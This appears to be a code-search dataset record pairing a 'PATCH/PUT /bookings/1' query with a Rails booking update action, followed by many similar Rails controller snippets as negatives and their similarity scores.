"def create\n @booking = Booking.new(booking_params)\n @booking.user_id = current_user.id\n respond_to do |format|\n if @booking.save\n format.html { redirect_to @booking, notice: 'Booking was successfully created.' }\n format.json { render :show, status: :created, location: @booking }\n else\n format.html { render :new }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @book = Book.new(book_params)\n\n if @book.save\n render json: @book, status: :created, location: @book\n else\n render json: @book.errors, status: :unprocessable_entity\n end\n end",
"def booking_params\n params.require(:booking).permit(:number_of_adults, :number_of_children, :price_id, :sale_id, :agent_id, :comment, :progress)\n end",
"def create\n @booking = @room.bookings.build(params[:booking])\n\n respond_to do |format|\n if @booking.save\n flash[:notice] = 'Booking was successfully created.'\n format.html { redirect_to property_url(@room.property) }\n format.xml { render :xml => @booking, :status => :created, :location => @booking }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @booking.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @bookkeeping = @group.bookkeepings.new()\n @bookkeeping.attributes = bookkeeping_params\n @bookkeeping.writer_id = current_user.id\n if @bookkeeping.save\n render json: @bookkeeping, status: :created, location: @bookkeeping\n else\n render json: @bookkeeping.errors, status: :unprocessable_entity\n end\n end",
"def create\n # puts params\n @booking = Booking.new(booking_params)\n respond_to do |format|\n if Booking.validate(booking_params) and Booking.time_checking(@booking) and @booking.save\n # if @booking.save\n format.html { redirect_to @booking, notice: 'Booking was successfully created.'}\n format.json { render :index, status: :created, location: @booking }\n else\n # @listing_id = @booking.listing_id\n format.html { redirect_to bookings_new_path(:listing_id => @booking.listing_id)}\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n flash[:notice] = \"The date is invalid or is booked.\"\n end\n end\n end",
"def create\n @ninety_ten_booking = NinetyTenBooking.new(ninety_ten_booking_params)\n\n respond_to do |format|\n if @ninety_ten_booking.save\n format.html { redirect_to @ninety_ten_booking, notice: 'Ninety ten booking was successfully created.' }\n format.json { render :show, status: :created, location: @ninety_ten_booking }\n else\n format.html { render :new }\n format.json { render json: @ninety_ten_booking.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @bookings = Booking.all\n end",
"def index\n @bookings = Booking.all\n end",
"def index\n @bookings = Booking.all\n end",
"def index\n @bookings = Booking.all\n end",
"def index\n @bookings = Booking.all\n end",
"def index\n @bookings = Booking.all\n end",
"def index\n @bookings = Booking.all\n end",
"def index\n @bookings = Booking.all\n end",
"def index\n @bookings = Booking.all\n end",
"def index\n @bookings = Booking.all\n end",
"def index\n @bookings = Booking.all\n end",
"def index\n @bookings = Booking.all\n end",
"def index\n @bookings = Booking.all\n end",
"def index\n @service_bookings = ServiceBooking.all\n\n render json: @service_bookings\n end",
"def index\n @bookings = Booking.all\n respond_with(@bookings)\n end",
"def index\n unless User.admin_by_token?(request.cookies[\"token\"])\n render json: { error: \"invalid_token\" }, status: :unauthorized\n return\n end\n\n @bookings = prep_bookings\n render json: @bookings, status: :ok\n end",
"def create \n bparams = booking_params\n bparams[:created_by] = User.find_by_name(session[:user])\n bparams[:date] = Date.strptime(session[:date], \"%d.%m.%Y\")\n \n bparams[:accounting_number] = Booking.where(account_id: bparams[:account_id]).map {|b| b.accounting_number}.compact.max.to_i+1\n \n @booking = Booking.new(bparams)\n\n respond_to do |format|\n if @booking.save\n format.html { redirect_to :back, notice: 'Booking was successfully created.' }\n format.json { render :show, status: :created, location: @booking }\n else\n format.html { render :new }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @booking_status = BookingStatus.new(booking_status_params)\n\n respond_to do |format|\n if @booking_status.save\n format.html { redirect_to @booking_status, notice: 'Booking status was successfully created.' }\n format.json { render :show, status: :created, location: @booking_status }\n else\n format.html { render :new }\n format.json { render json: @booking_status.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @listing = Listing.find_by_id(listing_id_from_params[:listing_id].to_i)\n @booking = @listing.bookings.build(booking_params)\n @booking.user_id = current_user.id\n @booking.price = @booking.calculate_total_price(@listing.price)\n\n respond_to do |format|\n if @booking.save\n BookingJob.perform_later(@booking, \"new\")\n format.html { redirect_to listing_path(@listing), notice: 'Booking was successfully created.' }\n format.json { render :show, status: :created, location: @booking }\n else\n format.html { render :new }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @bookings = smart_listing_create(:bookings, Booking.includes(:seat, :user).where(user_id: current_user.id), partial: \"bookings/listing\")\n end",
"def create\n @booking = current_user.bookings.build(booking_params)\n @booking.user = current_user\n logger = MyLogger.instance\n logger.logInformation(\"A new booking made for: \" + @booking.cut)\n respond_to do |format|\n if @booking.save\n format.html { redirect_to @booking, notice: 'Booking was successfully created.' }\n format.json { render :show, status: :created, location: @booking }\n else\n format.html { render :new }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @tablebooking = Tablebooking.new(tablebooking_params)\n\n respond_to do |format|\n if @tablebooking.save\n format.html { redirect_to @tablebooking, notice: 'Tablebooking was successfully created.' }\n format.json { render :show, status: :created, location: @tablebooking }\n else\n format.html { render :new }\n format.json { render json: @tablebooking.errors, status: :unprocessable_entity }\n end\n end\n end",
"def booking_params\n params.permit(:user_id, :job_id, :acceptance)\n end",
"def booking_params\n params.require(:booking).permit(:start_day, :end_day, :hikers_nb, :user_id, :refuge_id, :status, :payment, :amount)\n end",
"def new\n @booking = Booking.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @booking }\n end\n end",
"def new\n @booking = Booking.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @booking }\n end\n end",
"def index\n render json: { bookings: @site.bookings.order(datetime: :asc) }, status: 200\n end",
"def create\n @api_book = Api::Book.new(api_book_params)\n\n if @api_book.save\n render json: @api_book, status: :created, location: @api_book\n else\n render json: @api_book.errors, status: :unprocessable_entity\n end\n end",
"def booking_params\n params.require(:booking).permit(:salon_id, :total_price, :service_ids)\n end",
"def create\n\n @user = User.find(params[:user_id])\n @flight = Flight.find(params[:flight_id])\n @booking = @user.bookings.new(booking_params)\n respond_to do |format|\n if @booking.save\n format.html { redirect_to booking_path(current_user,@flight,@booking), notice: 'Booking was successfully created.' }\n format.json { render :show, status: :created, location: @booking }\n else\n format.html { render :new }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end",
"def booking(data)\n payload = safe_access(data)\n\n params = {\n property_id: payload.get(\"inquiry.room.property_id\"),\n inquiry_id: payload.get(\"inquiry.id\"),\n unit_id: payload.get(\"inquiry.room.unit_id\"),\n check_in: payload.get(\"inquiry.check_in\"),\n check_out: payload.get(\"inquiry.check_out\"),\n guests: payload.get(\"inquiry.num_guests\"),\n subtotal: payload.get(\"inquiry.subtotal\"),\n currency_code: payload.get(\"inquiry.currency_code\"),\n customer: {\n first_name: payload.get(\"inquiry.user.first_name\"),\n last_name: payload.get(\"inquiry.user.last_name\"),\n email: payload.get(\"inquiry.user.email\"),\n phone: payload.get(\"inquiry.user.phone_number\")\n }\n }\n\n env[\"rack.input\"] = StringIO.new(json_encode(params))\n true\n end",
"def index\n @bookings = Booking.all\n end",
"def booking_params\n params.require(:booking).permit(:date_check_in, :date_check_out,\n :total_price, :status, :description)\n end",
"def create\n @booking = @salon.bookings.new(booking_params)\n selected_days = params[:select_days]\n selected_time = params[:select_time]\n timeslot = Time.parse(\"#{selected_days} #{selected_time}\")\n @booking.bookings_services.build(service_id: params[:booking][:service_ids][0], timeslot: timeslot)\n\n respond_to do |format|\n if @booking.save\n format.html { redirect_to [@salon, @booking], notice: \"Booking was successfully created.\" }\n format.json { render :show, status: :created, location: @booking }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @book = Book.find(book_request_params[:book_id])\n @account = Account.find(params[:account_id])\n @book_request = BookRequest.new(book: @book, reader: @account, holder: @book.account)\n respond_to do |format|\n if @book_request.save\n format.json {\n render json:\n {\n book_id: @book_request.book_id,\n book_request_state: @book_request.state_name\n }\n }\n else\n format.json { render json: @book_request.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @booking_waitlist = BookingWaitlist.new(booking_waitlist_params)\n\n respond_to do |format|\n if @booking_waitlist.save\n format.html { redirect_to @booking_waitlist, notice: 'Booking waitlist was successfully created.' }\n format.json { render :show, status: :created, location: @booking_waitlist }\n else\n format.html { render :new }\n format.json { render json: @booking_waitlist.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @bookalawn = Bookalawn.new(bookalawn_params)\n\n respond_to do |format|\n if @bookalawn.save\n format.html { redirect_to @bookalawn, notice: 'Booking was successfully created.' }\n format.json { render action: 'show', status: :created, location: @bookalawn }\n else\n format.html { render action: 'new' }\n format.json { render json: @bookalawn.errors, status: :unprocessable_entity }\n end\n end\n end",
"def booking_params\n params.require(:booking).permit(:cut, :wash, :colour)\n end",
"def booking_params\n params.fetch(:booking).permit(:checkin, :checkout, :occupancy)\n end",
"def create\n \n @booking = Booking.new(params[:booking])\n params[:booking][:end_time] = @booking.end_time\n \n\n \n @booking = Booking.new(params[:booking])\n if @booking.weights == 1\n @booking.no_ergs = 0\n end\n \n respond_to do |format|\n if @booking.save\n flash[:notice] = 'Your booking was successfully created.'\n format.html { redirect_to bookings_path }\n format.xml { render :xml => @booking, :status => :created, :location => @booking }\n else\n format.html { render :action => \"index\" }\n format.xml { render :xml => @booking.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @bidding = Bidding.new(params[:bidding])\n\n respond_to do |format|\n if @bidding.save\n format.html { redirect_to @bidding, notice: 'Bidding was successfully created.' }\n format.json { render json: @bidding, status: :created, location: @bidding }\n else\n format.html { render action: \"new\" }\n format.json { render json: @bidding.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @boat = Boat.new(boat_params)\n\n if @boat.save\n render json: @boat, status: :created, location: @boat\n else\n render json: @boat.errors, status: :unprocessable_entity\n end\n end",
"def booking_params\n params.require(:booking).permit(:fan_id, :user_id, :start_date, :end_date, :status)\n end",
"def booking_params\n params.require(:booking).permit(:bookingStartDate, :bnookigEndDate, :user_id, :book_id)\n end",
"def create\n @booking = Booking.new(booking_params)\n respond_to do |format|\n if @booking.save(booking_params)\n format.html { redirect_to week_path, notice: 'Booking was successfully created.' }\n format.json { render :show, status: :created, location: month_path }\n else\n format.html { redirect_to week_path, notice: 'Booking overlaps with current booking' }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @reviewing = Reviewing.new(reviewing_params)\n @book = @reviewing.book\n @user = User.find(current_user.id)\n @user.reviewings << @reviewing\n @book.updateRate(@book.id)\n\n respond_to do |format|\n if @reviewing.save\n format.html { redirect_to book_reviewings_path(@reviewing.book.isbn), notice: 'Reviewing was successfully created.' }\n format.json { render :show, status: :created, location: @reviewing }\n else\n format.html { render :new }\n format.json { render json: @reviewing.errors, status: :unprocessable_entity }\n end\n end\n end",
"def booking_params\n params.require(:booking).permit( :check_in, :checkout, :service_id)\n end",
"def index\n @bookings = @user.bookings\n end",
"def booking_params\n params.require(:booking).permit(:room_id, :room_type_id, :customer_id, :check_in_date, :check_out_date, :total_price, :num_of_adults, :num_of_children)\n end",
"def booking_params\n params.require(:booking).permit(:user_id, :room_id, :book_date, :timespot_id)\n end",
"def create\n @booking = @user.bookings.new(booking_params)\n @booking.movie = @movie\n @booking.tickets = @booking.build_tickets(ticket_types_params)\n\n respond_to do |format|\n if @booking.save\n format.html { redirect_to seats_movie_booking_path(@movie,@booking) }\n format.json { render :show, status: :created, location: @booking }\n else\n format.html { render :new }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @gbooking = Gbooking.new(gbooking_params)\n @gbooking.user = current_user if current_user\n if @gbooking.save\n params[:customizebookings].each_with_index do |customizebooking,index|\n customizebooking.permit!\n @customizebooking = Customizebooking.new(customizebooking.permit!)\n @customizebooking.number = index + 1\n @customizebooking.gbooking = @gbooking\n @customizebooking.save\n end\n\n respond_to do |format|\n format.html { redirect_to(@gbooking, :notice => 'Customizebooking was successfully created.') }\n format.xml { render :xml => @customizebooking, :status => :created, :location => @customizebooking }\n end\n end\n end",
"def create\n @shipping_book = ShippingBook.new(shipping_book_params)\n\n respond_to do |format|\n if @shipping_book.save\n format.html { redirect_to @shipping_book, notice: 'Shipping address in Shipping book was successfully created.' }\n format.json { render :show, status: :created, location: @shipping_book }\n else\n format.html { render :new }\n format.json { render json: @shipping_book.errors, status: :unprocessable_entity }\n end\n end\n end",
"def booking_params\n params.require(:booking).permit(:book_name, :book_date, :tour_name, :book_price, :book_ticket_num,:book_amount,:package_id,:user_id,:status,:tax,:total_amount,:other)\n end",
"def on_date\n @bookings = []\n @bookings = Booking.on_date(params[:booking_date]) if params[:booking_date]\n \n respond_to do |format|\n format.html {render \"index\"}\n format.json {render json: @bookings}\n end\n \n end",
"def create\n @online_booking = OnlineBooking.new(online_booking_params)\n\n respond_to do |format|\n if @online_booking.save\n format.html { redirect_to @online_booking, notice: 'Online booking was successfully created.' }\n format.json { render :show, status: :created, location: @online_booking }\n else\n format.html { render :new }\n format.json { render json: @online_booking.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n render json: { booking: @booking }, status: 200\n end",
"def booking_params\n params.require(:booking).permit(:check_in, :check_out, :total_amount, :rental_amount, :service_fee)\n end",
"def create\n @borrowed_book = BorrowedBook.new(borrowed_book_params)\n\n respond_to do |format|\n if @borrowed_book.save\n format.html { redirect_to @borrowed_book, notice: \"Borrowed book was successfully created.\" }\n format.json { render :show, status: :created, location: @borrowed_book }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @borrowed_book.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n @booking = Booking.find(params[:id])\n render json: @booking\nend",
"def booking_params\n params.require(:booking).permit(:booking_reference, :institution, :ticket_type, :access_req, :catering, :certificate, :attended, :dietary_req, :conference_id, :user_id)\n end",
"def booking_params\n params.require(:booking).permit(:reference)\n end",
"def create\n\n checkIn = parse_datetime_params booking_params, \"check_in\", utc_or_local = \"AEST\"\n checkOut = parse_datetime_params booking_params, \"checkout\", utc_or_local = \"AEST\"\n @service_id = params[:booking][:service_id].to_i\n @consultant_id = Service.find(@service_id).user_id\n @consumer_id = current_user.id\n\n @booking = Booking.new({\n consultant_id: @consultant_id,\n consumer_id: @consumer_id,\n service_id: @service_id,\n status: \"Unconfirmed\",\n check_in: checkIn,\n checkout: checkOut\n })\n\n respond_to do |format|\n if @booking.save\n # ContactMailer.send_contact_email(message:\"Accepted\").deliver_now\n format.html { redirect_to @booking, notice: 'Booking was successfully created. This booking will not be confirmed until the consultant approves it.' }\n format.json { render :show, status: :created, location: @booking }\n else\n format.html { render :new }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @room_booking = RoomBooking.new(room_booking_params)\n\n respond_to do |format|\n if @room_booking.save\n format.html { redirect_to @room_booking, notice: 'Room booking was successfully created.' }\n format.json { render :show, status: :created, location: @room_booking }\n else\n format.html { render :new }\n format.json { render json: @room_booking.errors, status: :unprocessable_entity }\n end\n end\n end",
"def booking_lawn\n book_lawn = Lawnbookings.where(booking_date: params[:booking_date], lawn_no: params[:lawn_no])\n \n if book_lawn.count == 0\n @book_lawn = Lawnbookings.new\n @book_lawn.lawn_no = params[:lawn_no]\n @book_lawn.booking_date = params[:booking_date]\n @book_lawn.save\n end\n if request.xhr?\n render :json => {booking_date: params[:booking_date], lawn_no: params[:lawn_no] } \n end\n end",
"def create\n @booking = Booking.new(booking_params.merge(user_id: current_user.id))\n respond_to do |format|\n if @booking.save\n format.html { redirect_to action: :index, notice: 'Booking was successfully created.' }\n else\n format.html { render :new }\n end\n end\n end",
"def booking_params\n params.require(:booking).permit(:seller_id, :buyer_id, :room_id, :first_name, :last_name,\n :email, :phone, :duration, :guest, :subtotal, \n :service_fee, :total, :room_name, :room_title, :status, :paid,\n :check_in, :check_out, :start_date, :booking_code, :payment_method)\n end",
"def create\n @booking = Booking.new\n @booking.ride = @ride\n @booking.user = current_user\n @booking.booking_status = 'pending'\n if @booking.save!\n redirect_to dashboard_path\n else\n render :new\n end\n end",
"def create\n @booking_confirmation = BookingConfirmation.new(booking_confirmation_params)\n\n respond_to do |format|\n if @booking_confirmation.save\n format.html { redirect_to @booking_confirmation, notice: 'Booking confirmation was successfully created.' }\n format.json { render :show, status: :created, location: @booking_confirmation }\n else\n format.html { render :new }\n format.json { render json: @booking_confirmation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def booking_params\n params.require(:booking).permit(:status, :seatsToBook, :username, :tourname, :user_id, :tour_id, :mode_of_booking)\n end",
"def create\n\n @book = Book.new(params[:book])\n\n respond_to do |format|\n if @book.save\n format.html { redirect_to \"/books\", notice: 'Book was successfully created.' }\n format.json { render json: @book, status: :created, location: @book }\n else\n format.html { render action: \"new\" }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"def all_booking_of_client\n\t\t@bookings = Booking.where(client_id: params[:client_id])\n\t\trender json: @bookings, status: 200\n\tend"
] | [
"0.7353111",
"0.7228384",
"0.68615675",
"0.6782987",
"0.6782987",
"0.67671645",
"0.6642527",
"0.66402507",
"0.6624695",
"0.65151906",
"0.6509862",
"0.6509862",
"0.6509862",
"0.64893967",
"0.6432859",
"0.6378296",
"0.634707",
"0.63245595",
"0.6297444",
"0.62888706",
"0.6278033",
"0.6277215",
"0.6276671",
"0.624728",
"0.6246537",
"0.62225837",
"0.6215284",
"0.6198113",
"0.61980736",
"0.61961746",
"0.61961746",
"0.61961746",
"0.61961746",
"0.61961746",
"0.61961746",
"0.61961746",
"0.61961746",
"0.61961746",
"0.61961746",
"0.61961746",
"0.61961746",
"0.61961746",
"0.6189877",
"0.61839604",
"0.61654115",
"0.6153496",
"0.6142819",
"0.6137891",
"0.6137112",
"0.6126674",
"0.61236805",
"0.61116433",
"0.6111565",
"0.6108925",
"0.6108925",
"0.61034364",
"0.6095088",
"0.609437",
"0.60901517",
"0.607948",
"0.6061495",
"0.60604256",
"0.6053243",
"0.6048258",
"0.6045076",
"0.603975",
"0.6036313",
"0.6034784",
"0.60307556",
"0.60295653",
"0.6023572",
"0.6023286",
"0.60165375",
"0.6010729",
"0.60034376",
"0.6003299",
"0.6002788",
"0.59925467",
"0.5986861",
"0.5979354",
"0.5973712",
"0.59579116",
"0.5956852",
"0.59525394",
"0.59507626",
"0.59453785",
"0.5942715",
"0.59384996",
"0.5938434",
"0.59306085",
"0.5929958",
"0.59293985",
"0.59283525",
"0.59279317",
"0.5927621",
"0.59197617",
"0.5917992",
"0.59158117",
"0.5913346",
"0.5902699",
"0.5897789"
] | 0.0 | -1 |
PATCH/PUT /bookings/1 PATCH/PUT /bookings/1.json | def update
respond_to do |format|
if @booking.update(booking_params)
format.html { redirect_to @booking, notice: 'Booking was successfully updated.' }
format.json { head :no_content }
else
format.html { render action: 'edit' }
format.json { render json: @booking.errors, status: :unprocessable_entity }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def update\n @booking = Booking.find(params[:id])\n\n if @booking.update(booking_params)\n head :no_content\n else\n render json: @booking.errors, status: :unprocessable_entity\n end\n end",
"def update\n @booking = Booking.find(params[:id])\n @booking.update_attributes(params[:booking])\n respond_with(@booking)\n end",
"def update\n @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(params[:book])\n \n format.json { render json: @book, status: :created, location: @book }\n else\n \n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @booking = Booking.find(params[:id])\n\n respond_to do |format|\n if @booking.update_attributes(params[:booking])\n format.html { redirect_to @booking, notice: 'Booking was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @booking = Booking.find(params[:id])\n\n respond_to do |format|\n if @booking.update_attributes(params[:booking])\n format.html { redirect_to @booking, notice: 'Booking was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @booking = Booking.find(params[:id])\n\n respond_to do |format|\n if @booking.update_attributes(params[:booking])\n format.html { redirect_to @booking, notice: 'Booking was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @booking = Booking.find(params[:id])\n\n respond_to do |format|\n if @booking.update_attributes(params[:booking])\n format.html { redirect_to @booking, notice: 'Booking was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n booking = Booking.find(params[:id])\n \n # Check if user is the owner of the booking\n if current_user[:id] == booking[:user_id]\n if booking.update_attributes(booking_params) \n render json: { status: 'SUCCESS', message: 'Updated booking', data: booking }, status: :ok\n else\n render json: { status: 'ERROR', message: 'Booking not updated', data: booking.errors }, status: :unprocessable_entity\n end\n end\n end",
"def update\n @booking = @room.bookings.find(params[:id])\n\n respond_to do |format|\n if @booking.update_attributes(params[:booking])\n flash[:notice] = 'Booking was successfully updated.'\n format.html { redirect_to property_room_bookings_url(@property, @room) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @booking.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @booking.update(booking_params)\n format.html { redirect_to bookings_path, notice: 'Booking was successfully updated.' }\n format.json { render :show, status: :ok, location: @booking }\n else\n format.html { render :edit }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @booking.update(booking_params)\n format.html { redirect_to bookings_url, notice: 'Booking was successfully updated.' }\n format.json { render :show, status: :ok, location: @booking }\n else\n format.html { render :edit }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @booking.update(booking_params)\n format.html { redirect_to profile_bookings_url(@profile), notice: 'Booking was successfully updated.' }\n format.json { render :index, status: :ok, location: @booking }\n else\n format.html { render :edit }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @api_book = Api::Book.find(params[:id])\n\n if @api_book.update(api_book_params)\n head :no_content\n else\n render json: @api_book.errors, status: :unprocessable_entity\n end\n end",
"def update\n @book = @collection.books.find(params[:id])\n #original: @book = Book.find(params[:id])\n\n respond_to do |format|\n if @book.update_attributes(params[:book])\n format.html { redirect_to book_series_collection_books_url(@book_series, @collection), notice: 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @booking.update(booking_params)\n format.html { redirect_to admin_bookings_url, notice: 'Bookingen er blevet opdateret.' }\n format.json { render :show, status: :ok, location: @booking }\n else\n format.html { render :edit }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @booking.update(booking_params)\n format.html { redirect_to @booking, notice: 'booking was successfully updated.' }\n format.json { render :show, status: :ok, location: @booking }\n else\n format.html { render :edit }\n format.json { render json: @booking.errors.messages, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\n respond_to do |format|\n if @booking.update(booking_params)\n format.html { redirect_to @booking, notice: 'Booking was successfully updated.' }\n format.json { render :show, status: :ok, location: @booking }\n else\n format.html { render :edit }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @bookkeeping.update(bookkeeping_params)\n head :no_content\n else\n render json: @bookkeeping.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @booking.update(booking_params)\n format.html { redirect_to @booking, notice: 'Booking was successfully updated.' }\n format.json { render :show, status: :ok, location: @booking }\n else\n format.html { render :edit }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @booking.update(booking_params)\n format.html { redirect_to @booking, notice: 'Booking was successfully updated.' }\n format.json { render :show, status: :ok, location: @booking }\n else\n format.html { render :edit }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @booking.update(booking_params)\n format.html { redirect_to @booking, notice: 'Booking was successfully updated.' }\n format.json { render :show, status: :ok, location: @booking }\n else\n format.html { render :edit }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @booking.update(booking_params)\n format.html { redirect_to @booking, notice: 'Booking was successfully updated.' }\n format.json { render :show, status: :ok, location: @booking }\n else\n format.html { render :edit }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @booking.update(booking_params)\n format.html { redirect_to @booking, notice: 'Booking was successfully updated.' }\n format.json { render :show, status: :ok, location: @booking }\n else\n format.html { render :edit }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @booking.update(booking_params)\n format.html { redirect_to @booking, notice: 'Booking was successfully updated.' }\n format.json { render :show, status: :ok, location: @booking }\n else\n format.html { render :edit }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @booking.update(booking_params)\n format.html { redirect_to @booking, notice: 'Booking was successfully updated.' }\n format.json { render :show, status: :ok, location: @booking }\n else\n format.html { render :edit }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @booking.update(booking_params)\n format.html { redirect_to @booking, notice: 'Booking was successfully updated.' }\n format.json { render :show, status: :ok, location: @booking }\n else\n format.html { render :edit }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @booking.update(booking_params)\n format.html { redirect_to @booking, notice: 'Booking was successfully updated.' }\n format.json { render :show, status: :ok, location: @booking }\n else\n format.html { render :edit }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @booking.update(booking_params)\n format.html { redirect_to @booking, notice: 'Booking was successfully updated.' }\n format.json { render :show, status: :ok, location: @booking }\n else\n format.html { render :edit }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @booking.update(booking_params)\n format.html { redirect_to @booking, notice: 'Booking was successfully updated.' }\n format.json { render :show, status: :ok, location: @booking }\n else\n format.html { render :edit }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @booking.update(booking_params)\n format.html { redirect_to @booking, notice: 'Booking was successfully updated.' }\n format.json { render :show, status: :ok, location: @booking }\n else\n format.html { render :edit }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @booking.update(booking_params)\n format.html { redirect_to @booking, notice: 'Booking was successfully updated.' }\n format.json { render :show, status: :ok, location: @booking }\n else\n format.html { render :edit }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @bookable.update(bookable_params)\n format.html { redirect_to @bookable, notice: 'Bookable was successfully updated.' }\n format.json { render :show, status: :ok, location: @bookable }\n else\n format.html { render :edit }\n format.json { render json: @bookable.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @booking.update(booking_params)\n format.html { redirect_to @booking, notice: \"Booking was successfully updated.\" }\n format.json { render :show, status: :ok, location: @booking }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @booking.update(booking_params)\n format.html { redirect_to @booking, notice: \"Booking was successfully updated.\" }\n format.json { render :show, status: :ok, location: @booking }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @booking.update(booking_params_update)\n format.html { redirect_to @booking, notice: 'Booking was successfully updated.' }\n format.json { render :show, status: :ok, location: @booking }\n else\n format.html { render :edit }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\r\n @book = Book.find(params[:id])\r\n\r\n respond_to do |format|\r\n if @book.update_attributes(params[:book])\r\n format.html { redirect_to books_url }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: \"edit\" }\r\n format.json { render json: @book.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def update\n respond_to do |format|\n if @booking.update(booking_params)\n format.html { redirect_to @booking, notice: 'Booking was successfully updated.' }\n format.json { render :show, status: :ok, location: @booking }\n else\n format.html { render :edit }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @booking.update(booking_params)\n format.html { redirect_to show_booking_path, notice: 'Booking was successfully updated.' }\n format.json { render :show, status: :ok, location: @booking }\n else\n format.html { render :edit }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @booking.update(booking_params)\n format.html { redirect_to current_user, notice: 'Booking was successfully updated.' }\n format.json { render :show, status: :ok, location: @booking }\n else\n format.html { render :edit }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n end",
